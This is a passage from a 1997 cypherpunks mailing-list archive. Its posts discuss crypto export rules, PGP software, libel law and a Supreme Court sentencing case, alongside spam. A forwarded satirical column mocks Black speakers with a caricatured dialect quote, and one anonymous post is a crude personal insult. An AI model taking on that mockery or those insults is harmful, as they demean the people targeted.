occasionally-disgruntled ones don't want me to know.
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBMvIhGzUhsGSn1j2pAQEp5wfPQ1YsiZviksusdbdVQHBz9yKMOSt5z3Ue
Utlmxzx8RExqjaTc/cSLORf55pBWbJiDFB+a+ev09I2iZujq7nlNNCZNI0NaHw2L
RObAjBQ4YT7sekWYMw81y08zH9x49OmAhh7CCh2qzh5ZyQ0qc3YdFzmc8F00+jdW
J9ZsXSvJaBS+Jvh/eIPH+IlD873hyk6T4Nrayt0xt2z6Ajvst0XK5vOLkeJobZg3
+x8IyS26/bcrWGkKD/4rK81/QDmLIyHG7oWzaJAR1q6UKCad0C1w6/i2dwWtWV1v
RyXfyYTgXi8XPbieBL7RZmP0j3A0xqlCr4PASMuZskBa+g==
=Kspp
-----END PGP SIGNATURE-----

Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rshea@netcom.com (rex)
Date: Fri, 31 Jan 1997 17:12:09 -0800 (PST)
To: unicorn@schloss.li
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.SUN.3.94.970109173741.707A-100000@polaris>
Message-ID: <qxk8yMNwPVYM092yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> wrote:

>If you want to look at it a different way, if you are involved with a drug
>offense and are not using a weapon, you'll get a lower sentence than a
>full fledged drug crime.  It's a step in the right direction - i.e. away
>from manadatory sentencing of a flat time period for a crime regardless of
>circumstances.

But Putra got the same sentence she would have gotten had she been
convicted on both charges. The fact that she was acquitted meant nothing.

UNITED STATES v. VERNON WATTS
UNITED STATES v. CHERYL PUTRA
on petition for writ of certiorari to the united
states court of appeals for the ninth circuit
No. 95-1906.  Decided January 6, 1997

  Per Curiam.

In these two cases, two panels of the Court of Appeals for the Ninth
Circuit held that sentencing courts could not consider conduct of the
defendants underlying charges of which they had been acquitted.
United States v. Watts, 67 F. 3d 790 (CA9 1995) (-Watts-); United
States v. Putra, 78 F. 3d 1386 (CA9 1996) (-Putra-).
[...]
Because the panels' holdings conflict with the
clear implications of 18 U. S. C. 3661, the Sentencing Guidelines,
and this Court's decisions, particularly Witte v. United States, 515
U. S. ___ (1995), we grant the petition and reverse in both cases.
[...]

  Justice Stevens, dissenting.

  The Sentencing Reform Act of 1984 revolutionized the manner in
which district courts sentence persons convicted of federal crimes.
Burns v. United States, 501 U. S. 129, 132 (1991). The goals of
rehabilitation and fairness served by individualized sentencing that
formerly justified vesting judges with virtually unreviewable
sentencing discretion have been replaced by the impersonal interest
in uniformity and retribution.
[...]

                     II

  The issue of law raised by the sentencing of Cheryl Putra involved
the identification of the offense level that determined the range
within which the judge could exercise discretion.  Because she was a
first offender with no criminal history, that range was based
entirely on the offense or offenses for which she was to be punished.
She was found guilty of aiding and abetting the intended distribution
of one ounce of cocaine on May 8, 1992, but not guilty of
participating in a similar transaction involving five ounces of
cocaine on May 9, 1992.  United States v. Putra, 78 F. 3d 1386, 1387
(CA9 1996).  If the guilty verdict provided the only basis for
imposing punishment on Ms. Putra, the Guidelines would have required
the judge to impose a sentence of no less than 15 months in prison
and would have prohibited him from imposing a sentence longer than 21
months.

  If Putra had been found guilty of also participating in the 5 ounce
transaction on May 9, 1992, the Guidelines would have required that
both the minimum and the maximum sentences be increased; the range
would have been between 27 and 33 months.  As the District Court
applied the Guidelines, precisely the same range resulted from the
acquittal as would have been dictated by a conviction.
Notwithstanding the absence of sufficient evidence to prove guilt
beyond a reasonable doubt, the alleged offense on May 9 led to the
imposition of a sentence six months longer than the maximum permitted
for the only crime that provided any basis for punishment.

  In my judgment neither our prior cases nor the text of the statute
warrants this perverse result. And the vigor of the debate among
judges in the courts of appeals on this basic issue belies the ease
with which the Court addresses it, without hearing oral argument or
allowing the parties to fully brief the issues.
[...]

  Even more than Williams, this Court, like all of the Circuits that
have adopted the same approach as the District Courts in these cases,
relies primarily on the misguided five-to-four decision in McMillan
v. Pennsylvania, 477 U. S. 79 (1986). For the reasons stated in my
dissent in that case, id., at 95-104, I continue to believe that it
was incorrectly decided and that its holding should be reconsidered.
Even accepting its holding that the Constitution does not require
proof beyond a reasonable doubt to establish a sentencing factor
that increases the minimum sentence without altering the maximum,
however, there are at least two reasons why McMillan does not dictate
the outcome of these cases.

  In McMillan, as in these cases, the defendant's minimum sentence
was enhanced on the basis of a fact proved by a preponderance of the
evidence. But in McMillan, the maximum was unchanged; the sentence
actually imposed was within the range that would have been available
to the judge even if the enhancing factor had not been proved. In
these cases, however, the sentences actually imposed were higher than
the Guidelines would have allowed without evidence of the additional
offenses. The McMillan opinion pointedly noted that the Pennsylvania
statute had not altered the maximum penalty for the crime committed
and operated solely to limit the sentencing courts' discretion in
selecting a penalty within the range already available to it without
the special finding of visible possession of a firearm. Id., at
87-88. Given the Court's acknowledged inability to lay down any
`bright line' test that would define the limits of its holding, id.,
at 91, and its apparent assumption that a sentencing factor should
not be allowed to serve as a tail which wags the dog of the
substantive offense, id., at 88, see also ante, at 7, n. 2, the
holding should not be extended to allow a fact proved by only a
preponderance to increase the entire range of penalties within which
the sentencing judge may lawfully exercise discretion.
[...]

  In my opinion the statute should be construed in the light of the
traditional requirement that criminal charges must be sustained by
proof beyond a reasonable doubt. That requirement has always applied
to charges involving multiple offenses as well as a single offense.
Whether an allegation of criminal conduct is the sole basis for
punishment or merely one of several bases for punishment, we should
presume that Congress intended the new sentencing Guidelines that it
authorized in 1984 to adhere to longstanding procedural requirements
enshrined in our constitutional jurisprudence. The notion that a
charge that cannot be sustained by proof beyond a reasonable doubt
may give rise to the same punishment as if it had been so proved is
repugnant to that jurisprudence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 31 Jan 1997 11:28:00 -0800 (PST)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311357.FAA14264@toad.com>
Message-ID: <199701311950.LAA10870@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> > "Other governments were upset with the 56-bit export allowance. 
> > They said it was going to undermine their national security."
> 
> On this point, the other governments are correct.
> It really _is_ tougher to maintain a nation-state when your
> former subjects can have private conversations with each other
> and with other governments' former subjects......
> And even 56 bits is a start.

	Full strength crypto is already available worldwide. It makes
not one iota of difference.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 31 Jan 1997 12:51:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311201.HAA14977@upaya.multiverse.com>
Message-ID: <199701312051.MAA25208@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ wrote me in email:

>A slight correction.  The ``bernstein etc.'' cases are not about the
>right to have strong crypto.  There is no United States law forbidding
>one from having or using crypto, hard, soft, or squishy.  Those cases
>challenge regulations that keep one from publishing information about
>crypto including cryptographic software.  Even if it were made illegal
>to use hard crypto, it would still be a violation of the First
>Amendment for the government to require a license before one is
>allowed to publish information about crypto or anything else.

I consider it a violation of free speech if the government
made "hard crypto" illegal. yes, these cases are generally 
challenging the publishing aspects of crypto in the US, but
this is not what I consider the most important constitutional
ingredient in favor of crypto. crypto is essentially a kind
of speech, or communication. hence restricting it would be
like outlawing a certain foreign language that the government
doesn't understand. 

in my opinion, this is the most important,
root case to be made for the use of crypto in this country. 
publishing crypto algorithms is only a side issue compared to this,
imho.

so the bottom line is this: crypto regulations can be challenged
under the idea that they are restricting freedom of the press,
i.e. for academics to discuss algorithms, or it can be challenged
under freedom of speech issues, i.e. everyone has the right
to use codes for whatever purpose. currently because the regulations
prohibit the "export" of crypto code, the first route is the
basic challenge that makes the most sense. but I'd like to see
the ITAR challenged on the second grounds as well, i.e. as
a free speech issue. there's less reason when the gov't is not
trying to regulate domestic crypto, but it might be a relevant
angle in the export debate.

BTW, I understand that there are cases being made by 
Karn, Junger, and Bernstein, is that correct? with Junger being 
the most recent?  does anyone have web pages dedicated to each
one of these?

thanks;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 31 Jan 1997 05:04:22 -0800 (PST)
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Geiger and long, unreadable lines
Message-ID: <199701311303.GAA01678@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    If Geiger's software works as well as his ongoing comprehension of
    the problem 90 to 100 character long mail message lines cause, we
    are all in trouble.

    mail which might be forwarded, commented a few times, etc. really
    works best with 72-74 characters maximum per line.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvHtjr04kQrCC2kFAQHEeQP/UbYtlFD34UbhHhVbFIXjDxv4KjIb6tD7
y9pkoixaMHw3x2RABC6xjRcRGQ1pLo3ySLS/xbfEmAcR/kjKd2z2SpCSibspXi4n
HZ41PnSaPYi2zptR4hQ4mG3d/7EjidVOF4RnMaWB+a0089GvGzYP2xK8YIGiIQBW
lToR9lyqDGQ=
=fSkd
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 31 Jan 1997 13:30:22 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <199701312001.MAA21361@toad.com>
Message-ID: <Pine.GSO.3.95.970131132236.14575A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, Duncan Frissell wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 06:29 AM 1/31/97 -0500, you wrote:
> >And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
> >
> 
> I just email PGP sales with that question.

I just got off the phone with PGP sales.  Currently PGPMail is only
available off if the web site for download.  The version on disk will be
available sometime mid February.

So it looks like if you want it now it is going to cost you $149.  If you
wait until mid February, you can get it at the lower price (plus $10
shipping and handling).

BTW, it does use SSL on the order form, though I have my doubts about the
security of sending form data from an insecure page to a secure form cgi.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 10:54:43 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <199701311356.FAA14241@toad.com>
Message-ID: <3.0.1.32.19970131135938.00778750@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:29 AM 1/31/97 -0500, you wrote:
>And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
>

I just email PGP sales with that question.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvJBCIVO4r4sgSPhAQEZ4wP/RWERsyjzsVURKR5rBZx3DKoj6dDDRvIP
vNGbE3UnI/hqiRaZSf6P/36MnM2dQ8yIbbmlvsWV3N4m9moBUnvY6hy3elbwFTkE
P+cICHcm3S0uW68aZ/vKK4sasg+WJgd+YLBwdQWkZc8GBn8Ut6mJE7sVXEiJWNMC
WgFjwMALh7A=
=j4+j
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mohanjm@emirates.net.ae (Don Juan De Marco)
Date: Fri, 31 Jan 1997 02:32:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: uae_1.html
Message-ID: <199701311032.OAA02718@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


>jim bell wrote:
>
>> I wonder what these people will think when organizations like Teledesic and
>> Iridium start operating (low-earth-orbit satellites) to allow
>> totally-wireless connectivity.  It seems to me that there will be a market
>> for services that allow anonymous browsing, perhaps with encrypted requests
>> that return otherwise-unidentified data on a publicly-accessible airwaves.
>
>  Think of the possibility of satellite-fed 'roving' InterNet sites.
>  What will be the 'export' implications of sending crypto to a place
>such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.
>
>Toto
>
>
>Is there anyway to aviod the proxy??? please reply!!
>
>
>Don Juan
>
>
>
>
                                         





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 14:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Denial of service attack
Message-ID: <199701312256.OAA24117@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Virus K[arcinogen]OfTheMonth styles his facial hair to
look more like pubic hair.

             \|/
             @ @
        -oOO-(_)-OOo- Dimwit Virus K[arcinogen]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Fri, 31 Jan 1997 07:41:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPMail Log File
Message-ID: <199701311603.LAA07122@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.
>> [..]
>> I understand in certain group/corporate environs one would want 
>> logging; in others, one doesn't need it or should have the option (in 
>> an easily found place) to wipe it every once in a while.

>This is a damn good question.  I do NOT have the "write to a log file"
>option slected in the misc. tab and it STILL writes a log file.  How DO
>we disable this?

Well, I just found that option to uncheck it (thanks to your message) so
I'll try it w/the log file unchecked and see what happens. (Duh!)

Rob









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 31 Jan 1997 13:25:57 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701310745.XAA07005@toad.com>
Message-ID: <Pine.LNX.3.95.970131160355.1646A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 30 Jan 1997, Jim Choate wrote:

> > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > It is, they say, a rich man's game
>
> Exactly, instead of equal protection under the law we have a specieocracy.

Anyone can afford a contingency-free attorney as long as the plaintiff has a
good chance of being awarded damages.  This has the benefit that the legal
system doesn't get overcrowded with frivolous cases.

> > -- if I'm libeled by the NYT, I'm
> > probably not going t be able to sue them, but Donald Trump can. Moreover,
> > if I don't have the resources to sue but the statement is libelous, it
> > creates a *presumption* in the minds of the readers that the article is
> > certainly true. (If it were not, I would have sued, right?)
>
> Another good example of why our system is broke.

If the legal concept of libel is abandoned, this presumption will largely
disappear.  People will have to rely on the credibility of the source, instead
of whether or not the victim of libel has sued.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvJkASzIPc7jvyFpAQESzAf+Km41fJ4vhavBizPODBuzM8OpolOHFUIy
N45inFeUGtsaPH5BBz0T4blAlfgKoYU7N72E/nxbLx+QHZ42oQxcsvtoxiS/zjW8
ilygkVyVxsokueexwLo1QbBn87XIYHbyJBX2Tom31I5iw67caMAfKibnQoVEb1/r
8wlLe00CVB/rkob3QMO1VpT+FLl68+qjo+xfvCNe/GyyvJe0soppnh+croNSWA7R
uksNa18XENdntBmy5UDqyCrTfLI40rZkd4wYoTkOy7K2eq1cz2uSO9J2BJOpHnh6
zh4JtXI5UVYOvj3BMbYe0v7Cs/V+1e/eLtqyMNvFGNM2jdl2f39G6w==
=lYDr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 31 Jan 1997 16:32:10 -0800 (PST)
To: letters@sjmercury.com
Subject: News: Panic! Internet is full of terrorists!
Message-ID: <199702010031.QAA11517@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm really sick and tired of this hypocritical bullshit from our
executive branch.  On one hand, we have FBI + CIA + NSA crying
terrorists and child pornographers can get away with their crimes if
networks are secured with cryptography.  On the other hand, we also
have presidential panels crying that our networks are vulnerable to
terrorists if we don't do some serious security overhauls.

What the *#@!! do they want?  If you outlaw security software, then
stop whining that the networks aren't secure!  If you want secure
networks, stop whining about the encryption "problem".

Either the network is secure or it isn't.

YOU CAN'T HAVE IT BOTH WAYS!

Ern

-------- QUOTED ARTICLE FROM: San Jose Mercury (Jan 31, 1997)

 PRESIDENTIAL PANEL WARNS OF CYBERATTACK THREAT

 Critics charge danger overstated, could lead to unwarranted
 intrusion on Net

 Published: Jan. 31, 1997

 BY RORY J. O'CONNOR
 Mercury News Washington Bureau

 WASHINGTON -- The United States faces a serious risk of
 cyberattacks against vital computer-controlled networks,
 attacks that could threaten the nation's security or
 economy, according to a presidential commission evaluating
 the threat.

 [SNIP]

--------
Ernest Hua, Software Sanitation Engineer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 30 Jan 1997 23:16:47 -0800 (PST)
To: "'dthorn@gte.net>
Subject: [noise] RE: Shave the Whales
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970131071422Z-192@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain



>I've just started clipping and saving the characters w/o the text
>that accompanies them.  I've got a dozen so far, so check back in
>a week or so and I'll forward a set to anyone who wants.  Unless,
>of course, someone has a bucket of them now.
>
>I've got an almost complete collection dating back to 10 Dec. I always knew
>thist stuff would become a collector item.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:03 -0800 (PST)
To: Michael Paul Johnson <mikej2@Exabyte.COM>
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <Pine.SUN.3.95.970131091527.15388A-100000@gedora>
Message-ID: <32F29CF4.5AD2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Michael Paul Johnson wrote:

> If that is the only chink in the armor you see, then you aren't looking
> very hard. The point of this system is 

Michael,
  Enjoyed your post.
  The motivations underlying U.S. crypto policy are indeed
multi-faceted,
and it is always good to have a variety of well-thought out opinions as
to some of the various impetus' behind the machinations of the different
governmental departments, etc., which encompass the wide range of those
involved in setting and enforcing crypto policy.
  No matter what the original motivations or pre-conceived plans behind
the initial impetus towards the regulation of crypto, once 'policy' 
enters the governmental maze it takes on a life of its own, subject
to whims and vagarities of departments and individuals which reflect
a confusing kalidescope of concerns which are both parallel and tangent
to the starting vector.
  I would imagine that, 1,000 years from now, students might well be
taught that Phil Zimmerman was responsible for World War III, with the
CypherPunks bearing much of the blame, as well.

Toto
"Fighting for peace, and fucking for virginity."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:01 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <v02140b06af175d69e933@[10.0.2.15]>
Message-ID: <32F29DFD.1CD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

> >    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> >that _my_ property is the result of ME stealing, and hence what I OWN belongs
> >to the community IS theft. I work, and as the result of that work something is
> >created. That something is MINE to do with as I will. If I choose to sell that
> >work for money, that money is mine. If I trade that money for shoes, those
> >shoes are mine. THere is no theft involved.
 
> Tell this to the Native Americans.

Steve,
  Slam-dunk, dude!

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:21:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fwd:[Yet another -onics..]
In-Reply-To: <9701311810.AA09508@banshee.BASISinc.com>
Message-ID: <32F29E8B.1FA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike Denney wrote:
> 
> ----- Begin Included Message -----
> 
> >From sysgu-1@PaloAlto01.pop.internex.net Thu Jan 30 14:31 PST 1997
> Subject: Fwd:[Yet another -onics..]
> To: "Sonni Zambino" <sonni@dentistat.com>, "Mike Denney" <gomez@BASISinc.com>,
>         "Jim Staudenheimer" <JnCStaud@aol.com>
> Mime-Version: 1.0
> 
> *****************************
> "GEEKONICS" IS JUST A BEGINNING
> by John Woestendiek
> Philadelphia Inquirer
> Wed., January 8, 1997
> *****************************
> 
> NEWS BULLETIN: Saying it will improve the education of children who
> have grown up immersed in computer lingo, the school board in San
> Jose, Calif., has officially designated computer English, or
> "Geekonics", as a second language.
> 
> The historic vote on Geekonics - a combination of the word "geek" and
> the word "phonics" - came just weeks after the Oakland school board
> recognized black English, or Ebonics, as a distinct language.
> 
> "This entirely reconfigures our parameters," Milton "Floppy"
> Macintosh, chairman of Geekonics Unlimited, said after the school
> board became the first in the nation to recognize Geekonics.
> "No longer are we preformatted for failure," Macintosh said during a
> celebration that saw many Geekonics backers come dangerously close to
> smiling. "Today, we are rebooting, implementing a program to process
> the data we need to interface with all units of humanity."
> 
> Controversial and widely misunderstood, the Geekonics movement was
> spawned in California's Silicon Valley, where many children have grown
> up in households headed by computer technicians, programmers, engineers
> and scientists who have lost ability to speak plain English and have
> inadvertently passed on their high-tech vernacular to their children.
> 
> HELPING THE TRANSITION
> 
> While schools will not teach the language, increased teacher awareness
> of Geekonics, proponents say, will help children make the transition
> to standard English. Those students, in turn, could possibly help
> their parents learn to speak in a manner that would lead listeners to
> believe that they have actual blood coursing through their veins.
> 
> "Bit by bit, byte by byte, with the proper system development, with
> nonpreemptive multitasking, I see no reason why we can't download the
> data we need to modulate our oral output," Macintosh said. The
> designation of Ebonics and Geekonics as languages reflects a growing
> awareness of our nation's lingual diversity, experts say. Other groups
> pushing for their own languages and/or vernaculars to be declared
> official viewed the Geekonics vote as a step in the right direction.
> 
> "This is just, like, OK, you know, the most totally kewl thing, like,
> ever," said Jennifer Notat-Albright, chairwoman of the Committee for
> the Advancement of Valleyonics, headquartered in Southern California.
> "I mean, like, you know?" she added.
> 
> THEY'RE HAPPY IN DIXIE
> 
> Yeee-hah," said Buford "Kudzu" Davis, president of the Dixionics
> Coalition.  "Y'all gotta know I'm as happy as a tick on a sleeping
> bloodhound about this." Spokesmen for several subchapters of Dixionics
> - including Alabonics, Tennesonics and Louisionics - also said they
> approved of the decision. Bill Flack, public information officer for
> the Blue Ribbon Task Force on Bureaucratonics said that his
> organization would not comment on the San Jose vote until it convened
> a summit meeting, studied the impact, assessed the feasibility,
> finalized a report and drafted a comprehensive action plan,
> which, once it clears the appropriate subcommittees and is voted on,
> will be made public to those who submit the proper information-request
> forms.
> 
> Proponents of Ebonics heartily endorsed the designation of Geekonics
> as an official language.
> 
> "I ain't got no problem wif it," said Earl E. Byrd, president of the
> Ebonics Institute. "You ever try talkin' wif wunna dem computer dudes?
> Don't matter if it be a white computer dude or a black computer dude;
> it's like you be talkin' to a robot - RAM, DOS, undelete, MegaHertZ.
> Ain't nobody understands.   But dey keep talkin' anyway. 'Sup wif dat?"
> Those involved in the lingual diversity movement believe that only by
> enacting many different English languages, in addition to all the
> foreign ones practiced here, can we all end up happily speaking the
> same boring one, becoming a nation that is both unified in its
> diversity, and diversified in its unity.  Others say that makes no
> sense at all. In any language.
> 
> ----- End Included Message -----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 31 Jan 1997 17:49:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpfingerd
Message-ID: <199702010149.RAA27079@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For what it's worth, I wrote a very short fingerd that fetches _only_
a user's .pgpplan file, should it exist. Else it just exits. Someone
may have already done this, so be it. This was mostly for my own use,
but if anyone wants the code, feel free to use it. It's available from
my home page ( http://www.veriweb.com/people/jeremey/ ).

After calling getpwnam() on the username supplied, it calls setuid() with
the uid of the user being fingered. It ignores any finger options and
attempts to parse them out. It's possible I missed some. After setuid(),
it attempts to open a file called .pgpplan in the directory (pw_dir)
returned by getpwnam(). If this is not a _regular_ file, it exits, i.e.
no symlinks. Then it shoves the file out over stdout (this assumes it
was invoked by inetd). That's it.

I've only compiled it on Linux and BSDI, but it doesn't do anything very
odd, so it should compile fine on other Unix platforms.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvKgyy/fy+vkqMxNAQHqKgQAqxKiAzcOUDx9ThN5D6OHwuyUE1WlCtXr
EVjg0d19fhafiTGO3HwAFbk8zxtzs/YMtSJ4a5nbALQTUxVBF/749DboXU+IS37l
urB7MjBb0mB7+4IDmmR/iFEJa/U/mlTWZiLZ7JOq2Y7GtuqDmGgN3Z/T+K0loQvl
7Qn1x8aHXlI=
=RxZM
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 16:20:08 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
In-Reply-To: <Pine.3.89.9701311005.A14002-0100000@netcom>
Message-ID: <32F2A1B3.FC4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> 
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

  If the repairman has your pubring and secring files, you can now 
consider them in the same light as a 'busted flush'.
  Chances are, he has neither the capability nor the interest in 
popping open your deep, dark secrets. On the other hand, if he 
returns your computer with a 'shit-eating grin', you may be in for
a world-of-hurt.
  My advice would be for you to check your 'paranoia level' and,
if you are a quart low, then read Phil Zimmerman's PGP documentation
once again, and make your decision based on the reality of the
possibilities involved.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 16:27:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010028.SAA02024@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Jan 1997 16:28:56 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

Really? And what if the out come is nothing more than a public statement
in the local newspaper that the original statement was not true and paying
the court costs? I doubt you will find a single attorney who will take the
case because there is no profit for them.

> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

Really? And just exactly do you base this assumption on? Historicaly it
would seem that people want to believe the dirty grit about people. If they
didn't they wouldn't make the National Inquirer as successful as it is.

No, in general people don't give a crap about the real truth or falsity of
the statement unless it directly impacts them in some manner. What they are
interested in is entertainment, something the law should not provide.

The real issue is whether a Democracy can exist in an environment where
there is no requirement of honesty and truth from its citizens. I would
contend that it can't since the democratic process itself is representative
of those people and their beliefs.

If you really and truly belive a democratic society can exist with no
recognition of and protection for reputation we will just have to respectfuly
disagree.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs@mci2000.com
Date: Fri, 31 Jan 1997 15:49:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to get MORE ORDERS for ANYTHING YOU sell!
Message-ID: <01IEVFHJONGE9EGKC0@MAIL-CLUSTER.PCY.MCI.NET>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

Hello!  As an Entrepreneur you may be interested in a LEADING marketing plan!  This plan has worked for many successful entrepreneurs.  For more information, please inquire at:

REPLY TO:               UBS@QualityService.com

SUBJECT LINE:        "Marketing Plan"

This file could mean the online marketing difference between scintillating success and frustrating failure!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
